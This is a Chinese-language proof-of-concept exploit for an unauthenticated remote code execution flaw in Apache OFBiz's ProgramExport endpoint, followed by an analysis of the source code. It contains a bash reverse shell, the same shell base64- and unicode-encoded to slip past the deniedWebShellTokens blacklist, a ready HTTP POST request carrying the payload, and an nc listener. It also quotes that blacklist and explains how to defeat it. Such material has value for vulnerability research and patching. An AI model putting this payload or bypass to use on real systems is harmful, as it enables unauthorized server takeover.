0x01Poc描述
在apache ofbiz12.14中,有远程命令执行功能。用户可以使用特定的url来绕过过滤器检测,导致高危代码在未经授权的情况下执行
0x02
将反向壳牌转换为java可以识别的形式
/bin/bash -i >& /dev/tcp/127.0.0.1/8888 0>&1
bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
使用unicode编码
\u0022\u0062\u0061\u0073\u0068\u0020\u002D\u0063\u0020\u007B\u0065\u0063\u0068\u006F\u002C\u004C\u0032\u004A\u0070\u0062\u0069\u0039\u0069\u0059\u0058\u004E\u006F\u0049\u0043\u0031\u0070\u0049\u0044\u0034\u006D\u0049\u0043\u0039\u006B\u005A\u0058\u0059\u0076\u0064\u0047\u004E\u0077\u004C\u007A\u0045\u0079\u004E\u0079\u0034\u0077\u004C\u006A\u0041\u0075\u004D\u0053\u0038\u0034\u004F\u0044\u0067\u0034\u0049\u0044\u0041\u002B\u004A\u006A\u0045\u003D\u007D\u007C\u007B\u0062\u0061\u0073\u0065\u0036\u0034\u002C\u002D\u0064\u007D\u007C\u007B\u0062\u0061\u0073\u0068\u002C\u002D\u0069\u007D\u0022\u002E\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029
POST /webtools/control/main/ProgramExport HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: Mozilla/6.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
groovyProgram=\u0022\u0062\u0061\u0073\u0068\u0020\u002D\u0063\u0020\u007B\u0065\u0063\u0068\u006F\u002C\u004C\u0032\u004A\u0070\u0062\u0069\u0039\u0069\u0059\u0058\u004E\u006F\u0049\u0043\u0031\u0070\u0049\u0044\u0034\u006D\u0049\u0043\u0039\u006B\u005A\u0058\u0059\u0076\u0064\u0047\u004E\u0077\u004C\u007A\u0045\u0079\u004E\u0079\u0034\u0077\u004C\u006A\u0041\u0075\u004D\u0053\u0038\u0034\u004F\u0044\u0067\u0034\u0049\u0044\u0041\u002B\u004A\u006A\u0045\u003D\u007D\u007C\u007B\u0062\u0061\u0073\u0065\u0036\u0034\u002C\u002D\u0064\u007D\u007C\u007B\u0062\u0061\u0073\u0068\u002C\u002D\u0069\u007D\u0022\u002E\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029
nc监听
nc -l 8888
拿到shell
0x03代码分析
如果我提交的url是control/main/ProgramExport,过滤器将执行以下操作org.apache.ofbiz.webapagecontrol.ControlFilter
try {
String url = new URI(((HttpServletRequest) request).getRequestURL().toString())
.normalize().toString()
.replaceAll(";", "")
.replaceAll("(?i)%2e", "");
if (!((HttpServletRequest) request).getRequestURL().toString().equals(url)) {
Debug.logError("For security reason this URL is not accepted", module);
throw new RuntimeException("For security reason this URL is not accepted");
}
} catch (URISyntaxException e) {
throw new RuntimeException(e);
}
可以在第137-148行中看到,这是针对(CVE-2024-32113)通向RCE的路径遍历的修复。
while (!allowedPaths.contains(requestUri.substring(0, offset))) {// allowedPaths “/control/main”
offset = requestUri.indexOf("/", offset + 1);
if (offset == -1) {
if (allowedPaths.contains(requestUri)) {
break;
}
// path not allowed
if (redirectPath == null) {
httpResponse.sendError(errorCode, httpRequest.getRequestURI());
} else {
if (redirectPathIsUrl) {
然后向下看,第174行re redirectPath ,然后转到“/”的位置进行拼接,最后得到/control/main
if (Debug.infoOn()) {
Debug.logInfo("[Filtered request]: " + httpRequest.getRequestURI() + " --> " + (redirectPath == null? errorCode: redirectPath), module);
}
return;
}
}
chain.doFilter(request, httpResponse); //Finally, filter intercepts control/main, and finally passes filter detection.
}/control/main
}
调用筛选器来检查“/control/main”,但“/control\main”不需要身份验证,所以绕过筛选器检查。
经过一系列的处理
org.apache.ofbiz.webapagecontrol.RequestHandler#doRequest.java
// workaround if we are in the root webapp
String cname = UtilHttp.getApplicationName(request);
// Grab data from request object to process
String defaultRequestUri = RequestHandler.getRequestUri(request.getPathInfo());
String requestMissingErrorMessage = "Unknown request ["
+ defaultRequestUri
+ "]; this request does not exist or cannot be called directly.";
//... 273
String path = request.getPathInfo();
String requestUri = getRequestUri(path);
String overrideViewUri = getOverrideViewUri(path); // Control/main/ProgramExport gets ProgramExport.
Collection<RequestMap> rmaps = resolveURI(ccfg, request);
if (rmaps.isEmpty()) {
if (throwRequestHandlerExceptionOnMissingLocalRequest) {
throw new RequestHandlerException(requestMissingErrorMessage)
获取第275行中的路径以获取最终url,获取ProgramExport,并将该值赋给overrideViewUri
//... 742
String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success".equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value; // get viewName (ProgramExport)
renderView(viewName, requestMap.securityExternalView, request, response, saveName);
} else if ("view-last".equals(nextRequestResponse.type)) {
从741行到743行,从overrideViewUri获取“view”的名称,然后调用 renderView 来渲染。
/webtools/groovyScripts/entity/ProgramExport.groovy
//...56
parameters.groovyProgram = groovyProgram
} else {
groovyProgram = parameters.groovyProgram
}
// Add imports for script.
def importCustomizer = new ImportCustomizer()
importCustomizer.addImport("org.apache.ofbiz.entity.GenericValue")
importCustomizer.addImport("org.apache.ofbiz.entity.model.ModelEntity")
def configuration = new CompilerConfiguration()
configuration.addCompilationCustomizers(importCustomizer)
Binding binding = new Binding()
binding.setVariable("delegator", delegator)
binding.setVariable("recordValues", recordValues)
ClassLoader loader = Thread.currentThread().getContextClassLoader()
def shell = new GroovyShell(loader, binding, configuration)
if (UtilValidate.isNotEmpty(groovyProgram)) {
try {
// Check if a webshell is not uploaded but allow "import"
if (!SecuredUpload.isValidText(groovyProgram, ["import"])) {
logError("================== Not executed for security reason ==================")
request.setAttribute("_ERROR_MESSAGE_", "Not executed for security reason")
return
}
shell.parse(groovyProgram)
shell.evaluate(groovyProgram)
recordValues = shell.getVariable("recordValues")
xmlDoc = GenericValue.makeXmlDocument(recordValues)
在第55行和80行之间,我们可以看到程序导出器接收参数groovyProgram以传递该值,然后调用SecuredUpload.isValidText函数来检查黑名单。
org.apache.ofbiz.security.SecuredUpload#isValidTex
private static final String MODULE = SecuredUpload.class.getName();
private static final List<String> DENIEDFILEEXTENSIONS = getDeniedFileExtensions();
private static final List<String> DENIEDWEBSHELLTOKENS = getDeniedWebShellTokens();
private static final Integer MAXLINELENGTH = UtilProperties.getPropertyAsInteger("security", "maxLineLength", 10000);
.....
public static boolean isValidText(String content, List<String> allowed) throws IOException {
return content != null ? DENIEDWEBSHELLTOKENS.stream().allMatch(token -> isValid(content, token.toLowerCase(), allowed)) : false;
}
...
770
private static List<String> getDeniedWebShellTokens() {
String deniedTokens = UtilProperties.getPropertyValue("security", "deniedWebShellTokens");
return UtilValidate.isNotEmpty(deniedTokens) ? StringUtil.split(deniedTokens, ",") : new ArrayList<>();
}
DENIED WEBShell TOKENS中的黑名单
framework/security/config/security.properties
... 238
deniedWebShellTokens=java.,beans,freemarker,<script,javascript,<body,body ,<form,<jsp:,<c:out,taglib,<prefix,<%@ page,<?php,exec(,alert(,\
%eval,@eval,eval(,runtime,import,passthru,shell_exec,assert,str_rot13,system,decode,include,page ,\
chmod,mkdir,fopen,fclose,new file,upload,getfilename,download,getoutputstring,readfile,iframe,object,embed,onload,build,\
python,perl ,/perl,ruby ,/ruby,process,function,class,InputStream,to_server,wget ,static,assign,webappPath,\
ifconfig,route,crontab,netstat,uname ,hostname,iptables,whoami,"cmd",*cmd|,+cmd|,=cmd|,localhost,thread,require,gzdeflate,\
execute,println,calc,touch,calculate
它是基于字符匹配的,我们只需要对有效载荷进行unicode就可以绕过它。
至此,整个利用过程就完成了
声明
此文章 仅用于教育目的。请负责任地使用它,并且仅在您有明确测试权限的系统上使用。滥用此 PoC 可能会导致严重后果。